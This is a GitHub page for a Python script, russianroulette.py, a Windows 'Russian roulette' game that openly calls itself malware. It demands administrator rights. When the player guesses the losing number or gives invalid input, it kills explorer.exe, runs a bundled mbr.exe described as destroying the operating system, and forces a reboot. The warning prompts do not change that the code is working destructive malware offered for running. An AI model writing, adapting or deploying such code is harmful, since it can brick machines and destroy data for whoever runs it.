-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathrussianroulette.py
131 lines (113 loc) · 5.13 KB
/
russianroulette.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
import random
import os
import ctypes
import time
from string import digits
import sys
import shutil
number = random.randint(1,6)
kill = "taskkill /f /im explorer.exe"
mbr = "C:\Program Files\pussianroulette\mbr.exe"
wait = 5
reboot = 'shutdown /r /f /c "LOOOOOL" /t 5'
logo = """
██████╗░██╗░░░██╗░██████╗░██████╗██╗░█████╗░███╗░░██╗
██╔══██╗██║░░░██║██╔════╝██╔════╝██║██╔══██╗████╗░██║
██████╔╝██║░░░██║╚█████╗░╚█████╗░██║███████║██╔██╗██║
██╔══██╗██║░░░██║░╚═══██╗░╚═══██╗██║██╔══██║██║╚████║
██║░░██║╚██████╔╝██████╔╝██████╔╝██║██║░░██║██║░╚███║
╚═╝░░╚═╝░╚═════╝░╚═════╝░╚═════╝░╚═╝╚═╝░░╚═╝╚═╝░░╚══╝
██████╗░░█████╗░██╗░░░██╗██╗░░░░░███████╗████████╗████████╗███████╗
██╔══██╗██╔══██╗██║░░░██║██║░░░░░██╔════╝╚══██╔══╝╚══██╔══╝██╔════╝
██████╔╝██║░░██║██║░░░██║██║░░░░░█████╗░░░░░██║░░░░░░██║░░░█████╗░░
██╔══██╗██║░░██║██║░░░██║██║░░░░░██╔══╝░░░░░██║░░░░░░██║░░░██╔══╝░░
██║░░██║╚█████╔╝╚██████╔╝███████╗███████╗░░░██║░░░░░░██║░░░███████╗
╚═╝░░╚═╝░╚════╝░░╚═════╝░╚══════╝╚══════╝░░░╚═╝░░░░░░╚═╝░░░╚══════╝
"""
def isAdmin():
global wait
try:
is_admin = ctypes.windll.shell32.IsUserAnAdmin() != 0
except AttributeError:
while wait != 0:
print("This program only works on Microsoft Windows machines. Quitting in " + str(wait) + " seconds.")
time.sleep(1)
wait -= 1
quit()
return is_admin
def idiot():
os.system("cls")
print("\nSeems like you can't follow simple instructions... let's see what happens now.")
os.system(kill)
os.system(mbr)
os.system(reboot)
quit()
if isAdmin():
pass
else:
while wait != 0:
print("Run this program with administrator privileges. Quitting in " + str(wait) + " seconds.")
time.sleep(1)
wait -= 1
os.system("cls")
quit()
def pfdelete():
os.remove("C:/Program Files/pussianroulette/mbr.exe")
os.remove("C:/Program Files/pussianroulette/api-ms-win-core-path-l1-1-0.dll")
os.remove("C:/Program Files/pussianroulette/msvcp140d.dll")
os.remove("C:/Program Files/pussianroulette/ucrtbased.dll")
os.remove("C:/Program Files/pussianroulette/vcruntime140_1d.dll")
os.rmdir("C:/Program Files/pussianroulette/")
os.mkdir("C:/Program Files/pussianroulette")
shutil.copy2("temp/mbr.exe", "C:/Program Files/pussianroulette")
shutil.copy2("temp/api-ms-win-core-path-l1-1-0.dll", "C:/Program Files/pussianroulette")
shutil.copy2("temp/msvcp140d.dll", "C:/Program Files/pussianroulette")
shutil.copy2("temp/ucrtbased.dll", "C:/Program Files/pussianroulette")
shutil.copy2("temp/vcruntime140_1d.dll", "C:/Program Files/pussianroulette")
def quit():
pfdelete()
sys.exit()
def confirm():
confirm = input("Do you want to play a game? This program IS MALWARE and WILL MAKE YOUR COMPUTER UNUSABLE! (yes/no)\n")
confirm = confirm.lower()
if confirm == "no":
os.system("cls")
quit()
elif confirm == "yes":
os.system("cls")
else:
confirm()
confirm()
def sure():
sure = input("""\nAre you TOTALLY sure? This program WILL delete your operating system's core components!!\n
THE AUTHOR DOES NOT TAKE ANY RESPONSIBILITY FOR UNUSABLE OR BRICKED MACHINES! RUN AT YOUR OWN RISK! (yes/no)\n""")
sure = sure.lower()
if sure == "no":
os.system("cls")
quit()
elif sure == "yes":
os.system("cls")
else:
sure()
sure()
print(logo)
guess = input("Let's play a game of russian roulette! Type a number between 1 and 6...\n")
# if set(guess).difference(digits):
# idiot()
try:
guess = int(guess)
except ValueError:
idiot()
if guess > 6 or guess <= 0:
idiot()
elif guess == number:
os.system("cls")
print("\n You lost. Get lost.")
os.system(kill)
os.system(mbr)
os.system(reboot)
else:
os.system("cls")
print("\nYou won! Now get out of my face.")
input("Press ENTER to quit...")
quit()